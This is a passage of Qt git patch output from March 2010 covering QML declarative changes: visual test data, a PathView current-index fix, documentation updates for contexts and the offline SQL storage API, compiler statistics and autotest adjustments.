"ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 5568 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5584 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5600 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5616 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5632 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5648 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5664 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5680 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5696 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5712 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 5728 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5744 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 5760 - image: "pauseAnimation.5.png" - } - Frame { - msec: 5776 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 5792 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 5808 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5824 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5840 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 5856 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5872 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5888 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5904 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5920 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5936 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 5952 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5968 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 5984 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 6000 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 6016 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6032 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6048 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6064 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6080 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6096 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6112 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6128 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6144 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6160 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6176 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6192 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6208 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6224 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6240 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6256 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6272 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6288 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6304 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6320 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6336 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6352 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6368 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 6384 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6400 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 6416 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } -} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml new file mode 100644 index 0000000..8830170 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml @@ -0,0 +1,36 @@ +import Qt 4.6 + +/* +This test shows a bouncing logo. +When the test starts the logo should be resting at the bottom. It should immediately move +to the top, and then fall down to bounce at the bottom. There should be a pause, and then +one repeat of the sequence. +*/ + +Rectangle { + id: rect + width: 120 + height: 200 + color: "white" + Image { + id: img + source: "pics/qtlogo.png" + x: 60-width/2 + y: 100 + SequentialAnimation on y { + loops: Animation.Infinite + NumberAnimation { + to: 0; duration: 500 + easing.type: "InOutQuad" + } + NumberAnimation { + to: 100 + easing.type: "OutBounce" + duration: 2000 + } + PauseAnimation { + duration: 1000 + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml deleted file mode 100644 index 8830170..0000000 --- a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml +++ /dev/null @@ -1,36 +0,0 @@ -import Qt 4.6 - -/* -This test shows a bouncing logo. -When the test starts the logo should be resting at the bottom. It should immediately move -to the top, and then fall down to bounce at the bottom. There should be a pause, and then -one repeat of the sequence. -*/ - -Rectangle { - id: rect - width: 120 - height: 200 - color: "white" - Image { - id: img - source: "pics/qtlogo.png" - x: 60-width/2 - y: 100 - SequentialAnimation on y { - loops: Animation.Infinite - NumberAnimation { - to: 0; duration: 500 - easing.type: "InOutQuad" - } - NumberAnimation { - to: 100 - easing.type: "OutBounce" - duration: 2000 - } - PauseAnimation { - duration: 1000 - } - } - } -} diff --git a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp index f87fd29..8f1a406 100644 --- a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp +++ b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp @@ -97,12 +97,12 @@ void tst_qmlvisual::visual_data() QTest::addColumn("testdata"); QStringList files; - if (qgetenv("RUN_ALL") != "") + if (qgetenv("QMLVISUAL_ALL") != "") files << findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); else { //these are tests we think are stable and useful enough to be run by the CI system - files << QT_TEST_SOURCE_DIR "/animation/pauseAnimation/pauseAnimation.qml"; - files << QT_TEST_SOURCE_DIR "/animation/parentAnimation/parentAnimation.qml"; + files << QT_TEST_SOURCE_DIR "/animation/pauseAnimation/pauseAnimation-visual.qml"; + files << QT_TEST_SOURCE_DIR "/animation/parentAnimation/parentAnimation-visual.qml"; files << QT_TEST_SOURCE_DIR "/animation/reanchor/reanchor.qml"; } @@ -124,7 +124,7 @@ void tst_qmlvisual::visual() QStringList arguments; arguments << "-script" << testdata << "-scriptopts" << "play,testimages,testerror,exitoncomplete,exitonfailure" - << file; + << file << "-graphicssystem" << "raster"; QProcess p; p.start(qmlruntime, arguments); QVERIFY(p.waitForFinished()); -- cgit v0.12 From c9500f6aebf276b0d96836698a90f334adf0a797 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Mar 2010 16:23:39 +1000 Subject: Ensure currentIndex is updated when PathView items are removed/moved --- .../graphicsitems/qdeclarativepathview.cpp | 44 ++++++++++++++++++---- .../graphicsitems/qdeclarativepathview_p_p.h | 1 + 2 files changed, 37 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 9b548d4..dd1edd6 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -501,6 +501,7 @@ void QDeclarativePathView::setCurrentIndex(int idx) } } } + d->currentItem = 0; d->moveReason = QDeclarativePathViewPrivate::SetIndex; d->currentIndex = idx; if (d->model->count()) { @@ -508,9 +509,9 @@ void QDeclarativePathView::setCurrentIndex(int idx) d->snapToCurrent(); int itemIndex = (idx - d->firstIndex + d->model->count()) % d->model->count(); if (itemIndex < d->items.count()) { - QDeclarativeItem *item = d->items.at(itemIndex); - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) + d->currentItem = d->items.at(itemIndex); + d->currentItem->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(d->currentItem)) att->setIsCurrentItem(true); } d->currentItemOffset = d->positionOfIndex(d->currentIndex); @@ -1083,6 +1084,7 @@ void QDeclarativePathView::refill() att->setIsCurrentItem(true); currentVisible = true; d->currentItemOffset = pos; + d->currentItem = item; } if (d->items.count() == 0) d->firstIndex = idx; @@ -1109,6 +1111,7 @@ void QDeclarativePathView::refill() att->setIsCurrentItem(true); currentVisible = true; d->currentItemOffset = pos; + d->currentItem = item; } d->items.prepend(item); d->updateItem(item, pos); @@ -1161,15 +1164,32 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count) if (!d->isValid() || !isComponentComplete()) return; + // fix current + bool currentChanged = false; + if (d->currentIndex >= modelIndex + count) { + d->currentIndex -= count; + currentChanged = true; + } else if (d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count) { + // current item has been removed. + d->currentIndex = qMin(modelIndex, d->model->count()-1); + if (d->currentItem) { + if (QDeclarativePathViewAttached *att = d->attached(d->currentItem)) + att->setIsCurrentItem(true); + } + currentChanged = true; + } + QList removedItems = d->items; d->items.clear(); if (d->offset >= d->model->count()) d->offset = d->model->count() - 1; - //XXX update currentIndex + d->regenerate(); while (removedItems.count()) d->releaseItem(removedItems.takeLast()); d->updateCurrent(); + if (currentChanged) + emit currentIndexChanged(); emit countChanged(); } @@ -1181,10 +1201,17 @@ void QDeclarativePathView::itemsMoved(int from, int to, int count) QList removedItems = d->items; d->items.clear(); - //XXX update currentIndex d->regenerate(); while (removedItems.count()) d->releaseItem(removedItems.takeLast()); + + // Fix current index + if (d->currentIndex >= 0 && d->currentItem) { + int oldCurrent = d->currentIndex; + d->currentIndex = d->model->indexOf(d->currentItem, this); + if (oldCurrent != d->currentIndex) + emit currentIndexChanged(); + } d->updateCurrent(); } @@ -1247,11 +1274,12 @@ void QDeclarativePathViewPrivate::updateCurrent() } } currentIndex = idx; + currentItem = 0; itemIndex = (idx - firstIndex + model->count()) % model->count(); if (itemIndex < items.count()) { - QDeclarativeItem *item = items.at(itemIndex); - item->setFocus(true); - if (QDeclarativePathViewAttached *att = attached(item)) + currentItem = items.at(itemIndex); + currentItem->setFocus(true); + if (QDeclarativePathViewAttached *att = attached(currentItem)) att->setIsCurrentItem(true); } emit q->currentIndexChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h index 90216c0..26ec4e5 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h @@ -124,6 +124,7 @@ public: QDeclarativePath *path; int currentIndex; + QDeclarativeGuard currentItem; qreal currentItemOffset; qreal startPc; QPointF startPoint; -- cgit v0.12 From f3fe89a22b3339fa683bf656950285d1218b1765 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 16:26:34 +1000 Subject: Doc QTBUG-7998 --- src/declarative/qml/qdeclarativecontext.cpp | 85 ++++++++++++++--------------- 1 file changed, 40 insertions(+), 45 deletions(-) diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 2b8cf70..a9224ad 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -71,31 +71,30 @@ QDeclarativeContextPrivate::QDeclarativeContextPrivate() Contexts allow data to be exposed to the QML components instantiated by the QML engine. - Each QDeclarativeContext contains a set of properties, distinct from - its QObject properties, that allow data to be - explicitly bound to a context by name. The context properties are defined or - updated by calling QDeclarativeContext::setContextProperty(). The following example shows - a Qt model being bound to a context and then accessed from a QML file. + Each QDeclarativeContext contains a set of properties, distinct from its QObject + properties, that allow data to be explicitly bound to a context by name. The + context properties are defined and updated by calling + QDeclarativeContext::setContextProperty(). The following example shows a Qt model + being bound to a context and then accessed from a QML file. \code QDeclarativeEngine engine; - QDeclarativeContext context(engine.rootContext()); - context.setContextProperty("myModel", modelData); + QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext()); + context->setContextProperty("myModel", modelData); QDeclarativeComponent component(&engine, "ListView { model=myModel }"); - component.create(&context); + component.create(context); \endcode - To simplify binding and maintaining larger data sets, QObject's can be - added to a QDeclarativeContext. These objects are known as the context's default - objects. In this case all the properties of the QObject are - made available by name in the context, as though they were all individually - added by calling QDeclarativeContext::setContextProperty(). Changes to the property's - values are detected through the property's notify signal. This method is - also slightly more faster than manually adding property values. + To simplify binding and maintaining larger data sets, a context object can be set + on a QDeclarativeContext. All the properties of the context object are available + by name in the context, as though they were all individually added through calls + to QDeclarativeContext::setContextProperty(). Changes to the property's values are + detected through the property's notify signal. Setting a context object is both + faster and easier than manually adding and maintaing context property values. - The following example has the same effect as the one above, but it is - achieved using a default object. + The following example has the same effect as the previous one, but it uses a context + object. \code class MyDataSet : ... { @@ -104,46 +103,42 @@ QDeclarativeContextPrivate::QDeclarativeContextPrivate() ... }; - MyDataSet myDataSet; + MyDataSet *myDataSet = new MyDataSet; QDeclarativeEngine engine; - QDeclarativeContext context(engine.rootContext()); - context.setContextObject(&myDataSet); + QDeclarativeContext *context = new QDeclarativeContext(engine.rootContext()); + context->setContextObject(myDataSet); QDeclarativeComponent component(&engine, "ListView { model=myModel }"); - component.create(&context); + component.create(context); \endcode - Default objects added first take precedence over those added later. All properties - added explicitly by QDeclarativeContext::setContextProperty() take precedence over default - object properties. + All properties added explicitly by QDeclarativeContext::setContextProperty() take + precedence over context object's properties. - Contexts are hierarchal, with the \l {QDeclarativeEngine::rootContext()}{root context} - being created by the QDeclarativeEngine. A component instantiated in a given context - has access to that context's data, as well as the data defined by its - ancestor contexts. Data values (including those added implicitly by the - default objects) in a context override those in ancestor contexts. Data - that should be available to all components instantiated by the QDeclarativeEngine - should be added to the \l {QDeclarativeEngine::rootContext()}{root context}. + Contexts form a hierarchy. The root of this heirarchy is the QDeclarativeEngine's + \l {QDeclarativeEngine::rootContext()}{root context}. A component instance can + access the data in its own context, as well as all its ancestor contexts. Data + can be made available to all instances by modifying the + \l {QDeclarativeEngine::rootContext()}{root context}. - In the following example, + The following example defines two contexts - \c context1 and \c context2. The + second context overrides the "b" context property inherited from the first with a + new value. \code QDeclarativeEngine engine; - QDeclarativeContext context1(engine.rootContext()); - QDeclarativeContext context2(&context1); - QDeclarativeContext context3(&context2); - - context1.setContextProperty("a", 12); - context2.setContextProperty("b", 13); - context3.setContextProperty("a", 14); - context3.setContextProperty("c", 14); + QDeclarativeContext *context1 = new QDeclarativeContext(engine.rootContext()); + QDeclarativeContext *context2 = new QDeclarativeContext(context1); + + context1->setContextProperty("a", 12); + context1->setContextProperty("b", 12); + + context2->setContextProperty("b", 15); \endcode - a QML component instantiated in context1 would have access to the "a" data, - a QML component instantiated in context2 would have access to the "a" and - "b" data, and a QML component instantiated in context3 would have access to - the "a", "b" and "c" data - although its "a" data would return 14, unlike - that in context1 or context2. + While QML objects instantiated in a context are not strictly owned by that + context, their bindings are. If a context is destroyed, the property bindings of + outstanding QML objects will stop evaluating. */ /*! \internal */ -- cgit v0.12 From 6f88388db4e8e202780d789e66664ff824691948 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 16:29:47 +1000 Subject: QDeclarativeItem::setParentItem should not modify the QObject parent QTBUG-5768 --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 4 ---- 1 file changed, 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 611535c..e8f3652 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1438,10 +1438,6 @@ QDeclarativeItem::~QDeclarativeItem() */ void QDeclarativeItem::setParentItem(QDeclarativeItem *parent) { - QDeclarativeItem *oldParent = parentItem(); - if (parent == oldParent || !parent) return; - - QObject::setParent(parent); QGraphicsObject::setParentItem(parent); } -- cgit v0.12 From 873a09f26963bd49cdae3cdf5e0d1229c945862f Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 16:27:48 +1000 Subject: test error code too --- tests/auto/declarative/sql/data/error-creation.js | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/tests/auto/declarative/sql/data/error-creation.js b/tests/auto/declarative/sql/data/error-creation.js index 92245fd..0ab2a35 100644 --- a/tests/auto/declarative/sql/data/error-creation.js +++ b/tests/auto/declarative/sql/data/error-creation.js @@ -3,10 +3,12 @@ function test() { try { var db = openDatabaseSync("QmlTestDB-creation", "2.0", "Test database from Qt autotests", 1000000); } catch (err) { - if (err.message == "SQL: database version mismatch") - r = "passed"; - else + if (err.code != SQLException.VERSION_ERR) + r = "WRONG ERROR CODE="+err.code; + else if (err.message != "SQL: database version mismatch") r = "WRONG ERROR="+err.message; + else + r = "passed"; } return r; } -- cgit v0.12 From 49d56ab243a5f490495a79ce98276e2f33c03658 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 16:49:13 +1000 Subject: doc Task-number: QTBUG-9459 QTBUG-9458 --- doc/src/declarative/globalobject.qdoc | 74 +++++++++++++++++++++++++++++++++-- 1 file changed, 70 insertions(+), 4 deletions(-) diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc index addc192..231e75a 100644 --- a/doc/src/declarative/globalobject.qdoc +++ b/doc/src/declarative/globalobject.qdoc @@ -189,6 +189,20 @@ This function attempts to open the specified \c target url in an external applic \section3 Qt.md5(data) This function returns a hex string of the md5 hash of \c data. +\section3 Qt.btoa(data) +This function returns a base64 encoding of \c data. + +\section3 Qt.atob(data) +This function returns a base64 decoding of \c data. + +\section3 Qt.quit() +This function causes the QML engine to emit the quit signal, which in +\l {Qt Declarative UI Runtime}{qml} causes the runtime to quit. + +\section3 Qt.resolvedUrl(url) +This function returns \c url resolved relative to the URL of the +caller. + \section1 Dynamic Object Creation The following functions on the global object allow you to dynamically create QML items from files or strings. See \l{Dynamic Object Management} for an overview @@ -273,20 +287,33 @@ of their use. QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain data from over a network. \section2 XMLHttpRequest() In QML you can construct an XMLHttpRequest object just like in a web browser! TODO: Real documentation for this object. + + \section1 Offline Storage API -The \c openDatabase() and related functions +\section2 Database API + +The \c openDatabaseSync() and related functions provide the ability to access local offline storage in an SQL database. -These databases are user-specific and QML-specific. They are stored in the \c Databases subdirectory +These databases are user-specific and QML-specific, but accessible to all QML applications. +They are stored in the \c Databases subdirectory of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases. +The API can be used from JavaScript functions in your QML: + +\quotefile declarative/sql/hello.qml + The API conforms to the Synchronous API of the HTML5 Web Database API, \link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink. -The API can be used from JavaScript functions in your QML: +\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db)) -\quotefile declarative/sql/hello.qml +Returns the database identified by \e identifier. If the database does not already exist, it +is created with the properties \e description and \e estimated_size and the function \e callback +is called with the database as a parameter. + +May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR. When a database is first created, an INI file is also created specifying its characteristics: @@ -301,6 +328,45 @@ When a database is first created, an INI file is also created specifying its cha This data can be used by application tools. +\section3 db.changeVersion(from, to, callback(tx)) + +This method allows you to perform a \e{Scheme Upgrade}. + +If the current version of \e db is not \e from, then an exception is thrown. + +Otherwise, a database transaction is created and passed to \e callback. In this function, +you can call \e executeSql on \e tx to upgrade the database. + +May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR. + +\section3 db.transaction(callback(tx)) + +This method creates a read/write transaction and passed to \e callback. In this function, +you can call \e executeSql on \e tx to read and modify the database. + +If the callback throws exceptions, the transaction is rolled back. + +\section3 db.readTransaction(callback(tx)) + +This method creates a read-only transaction and passed to \e callback. In this function, +you can call \e executeSql on \e tx to read the database (with SELECT statements). + +\section3 results = tx.executeSql(statement, values) + +This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?"). + +It returns a results object, with the following properties: + +\table +\header \o \bold {Type} \o \bold {Property} \o \bold {Value} \o \bold {Applicability} +\row \o int \o rows.length \o The number of rows in the result \o SELECT +\row \o var \o rows.item(i) \o Function that returns row \e i of the result \o SELECT +\row \o int \o rowsAffected \o The number of rows affected by a modification \o UPDATE, DELETE +\row \o string \o insertId \o The id of the row inserted \o INSERT +\endtable + +May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR. + \section1 Logging \c console.log() and \c console.debug() can be used to print information -- cgit v0.12 From ac808649bd3f63c9e5d5a77db24ccde2cb327ed1 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 17:01:54 +1000 Subject: Pass test. --- .../declarative/qdeclarativexmllistmodel/data/model2.xml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml new file mode 100644 index 0000000..dab2ec6 --- /dev/null +++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml @@ -0,0 +1,14 @@ + + + Polly + Parrot + 12 + Small + + + Penny + Turtle + 4 + Small + + -- cgit v0.12 From c253bd186f95573650cc1c25983cdab24a5c35c2 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 17:02:34 +1000 Subject: Use error enum not numbers (easier to doc) --- src/declarative/qml/qdeclarativesqldatabase.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativesqldatabase.cpp b/src/declarative/qml/qdeclarativesqldatabase.cpp index 2d5f096..37d2d5b 100644 --- a/src/declarative/qml/qdeclarativesqldatabase.cpp +++ b/src/declarative/qml/qdeclarativesqldatabase.cpp @@ -279,7 +279,7 @@ static QScriptValue qmlsqldatabase_change_version(QScriptContext *context, QScri QString foundvers = context->thisObject().property(QLatin1String("version")).toString(); if (from_version!=foundvers) { - THROW_SQL(2,QDeclarativeEngine::tr("Version mismatch: expected %1, found %2").arg(from_version).arg(foundvers)); + THROW_SQL(VERSION_ERR,QDeclarativeEngine::tr("Version mismatch: expected %1, found %2").arg(from_version).arg(foundvers)); return engine->undefinedValue(); } @@ -293,7 +293,7 @@ static QScriptValue qmlsqldatabase_change_version(QScriptContext *context, QScri } else { if (!db.commit()) { db.rollback(); - THROW_SQL(0,QDeclarativeEngine::tr("SQL transaction failed")); + THROW_SQL(UNKNOWN_ERR,QDeclarativeEngine::tr("SQL transaction failed")); } else { ok = true; } -- cgit v0.12 From ca3f5521e1d3ada541739d6013d8c6fb795244a9 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 17:13:37 +1000 Subject: Improve QML compiler statistics --- src/declarative/qml/qdeclarativecompiler.cpp | 47 +++++++++++++++++++++++++--- src/declarative/qml/qdeclarativecompiler_p.h | 7 ++--- 2 files changed, 45 insertions(+), 9 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index f1a673f..56af5f5 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -80,7 +80,7 @@ QT_BEGIN_NAMESPACE DEFINE_BOOL_CONFIG_OPTION(compilerDump, QML_COMPILER_DUMP); -DEFINE_BOOL_CONFIG_OPTION(compilerStatDump, QML_COMPILER_STATISTICS_DUMP); +DEFINE_BOOL_CONFIG_OPTION(compilerStatDump, QML_COMPILER_STATS); DEFINE_BOOL_CONFIG_OPTION(bindingsDump, QML_BINDINGS_DUMP); using namespace QDeclarativeParser; @@ -617,6 +617,7 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine, void QDeclarativeCompiler::compileTree(Object *tree) { compileState.root = tree; + componentStat.lineNumber = tree->location.start.line; if (!buildObject(tree, BindingContext()) || !completeComponentBuild()) return; @@ -2784,7 +2785,7 @@ bool QDeclarativeCompiler::completeComponentBuild() if (index != -1) { binding.dataType = BindingReference::Experimental; binding.compiledIndex = index; - componentStat.optimizedBindings++; + componentStat.optimizedBindings.append(iter.key()->location); continue; } @@ -2818,7 +2819,7 @@ bool QDeclarativeCompiler::completeComponentBuild() QByteArray((const char *)expression.constData(), expression.length() * sizeof(QChar)); - componentStat.scriptBindings++; + componentStat.scriptBindings.append(iter.key()->location); } if (bindingCompiler.isValid()) { @@ -2840,8 +2841,44 @@ void QDeclarativeCompiler::dumpStats() qWarning().nospace() << " Component Line " << stat.lineNumber; qWarning().nospace() << " Total Objects: " << stat.objects; qWarning().nospace() << " IDs Used: " << stat.ids; - qWarning().nospace() << " Optimized Bindings: " << stat.optimizedBindings; - qWarning().nospace() << " QScript Bindings: " << stat.scriptBindings; + qWarning().nospace() << " Optimized Bindings: " << stat.optimizedBindings.count(); + + { + QByteArray output; + for (int ii = 0; ii < stat.optimizedBindings.count(); ++ii) { + if (0 == (ii % 10)) { + if (ii) output.append("\n"); + output.append(" "); + } + + output.append("("); + output.append(QByteArray::number(stat.optimizedBindings.at(ii).start.line)); + output.append(":"); + output.append(QByteArray::number(stat.optimizedBindings.at(ii).start.column)); + output.append(") "); + } + if (!output.isEmpty()) + qWarning().nospace() << output.constData(); + } + + qWarning().nospace() << " QScript Bindings: " << stat.scriptBindings.count(); + { + QByteArray output; + for (int ii = 0; ii < stat.scriptBindings.count(); ++ii) { + if (0 == (ii % 10)) { + if (ii) output.append("\n"); + output.append(" "); + } + + output.append("("); + output.append(QByteArray::number(stat.scriptBindings.at(ii).start.line)); + output.append(":"); + output.append(QByteArray::number(stat.scriptBindings.at(ii).start.column)); + output.append(") "); + } + if (!output.isEmpty()) + qWarning().nospace() << output.constData(); + } } } diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h index a81259b..e5836d1 100644 --- a/src/declarative/qml/qdeclarativecompiler_p.h +++ b/src/declarative/qml/qdeclarativecompiler_p.h @@ -318,14 +318,13 @@ private: struct ComponentStat { - ComponentStat() - : ids(0), scriptBindings(0), optimizedBindings(0), objects(0) {} + ComponentStat() : ids(0), objects(0) {} int lineNumber; int ids; - int scriptBindings; - int optimizedBindings; + QList scriptBindings; + QList optimizedBindings; int objects; }; ComponentStat componentStat; -- cgit v0.12 From a4d208f1831ecba1d51d3afe9a9e9e21faf8b3cf Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 29 Mar 2010 12:18:20 +0200 Subject: Update autotest a little variant property was removed, and data property was altered, without updating this autotest. However the remaining failure for date appears to be genuine --- tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp index 16efba9..c41855d 100644 --- a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp +++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp @@ -451,7 +451,6 @@ void tst_qdeclarativedom::loadDynamicProperty() " property color g\n" " property date h\n" " property var i\n" - " property variant j\n" " property QtObject k\n" "}"; @@ -461,7 +460,7 @@ void tst_qdeclarativedom::loadDynamicProperty() QDeclarativeDomObject rootObject = document.rootObject(); QVERIFY(rootObject.isValid()); - QCOMPARE(rootObject.dynamicProperties().count(), 11); + QCOMPARE(rootObject.dynamicProperties().count(), 10); #define DP_TEST(index, name, type, test_position, test_length, propTypeName) \ { \ @@ -483,9 +482,8 @@ void tst_qdeclarativedom::loadDynamicProperty() DP_TEST(4, e, QVariant::String, 106, 17, "string"); DP_TEST(5, f, QVariant::Url, 128, 14, "url"); DP_TEST(6, g, QVariant::Color, 147, 16, "color"); - DP_TEST(7, h, QVariant::Date, 168, 15, "date"); + DP_TEST(7, h, QVariant::DateTime, 168, 15, "date"); DP_TEST(8, i, qMetaTypeId(), 188, 14, "var"); - DP_TEST(9, j, qMetaTypeId(), 207, 18, "variant"); DP_TEST(10, k, -1, 230, 19, "QtObject"); } -- cgit v0.12 From 5a6747ad0418862cafde45837c02a87bfb6b3db3 Mon Sep 17 00:00:00 2001 From: Roberto Raggi Date: Mon, 29 Mar 2010 17:14:37 +0200 Subject: Removed unneeded code. --- 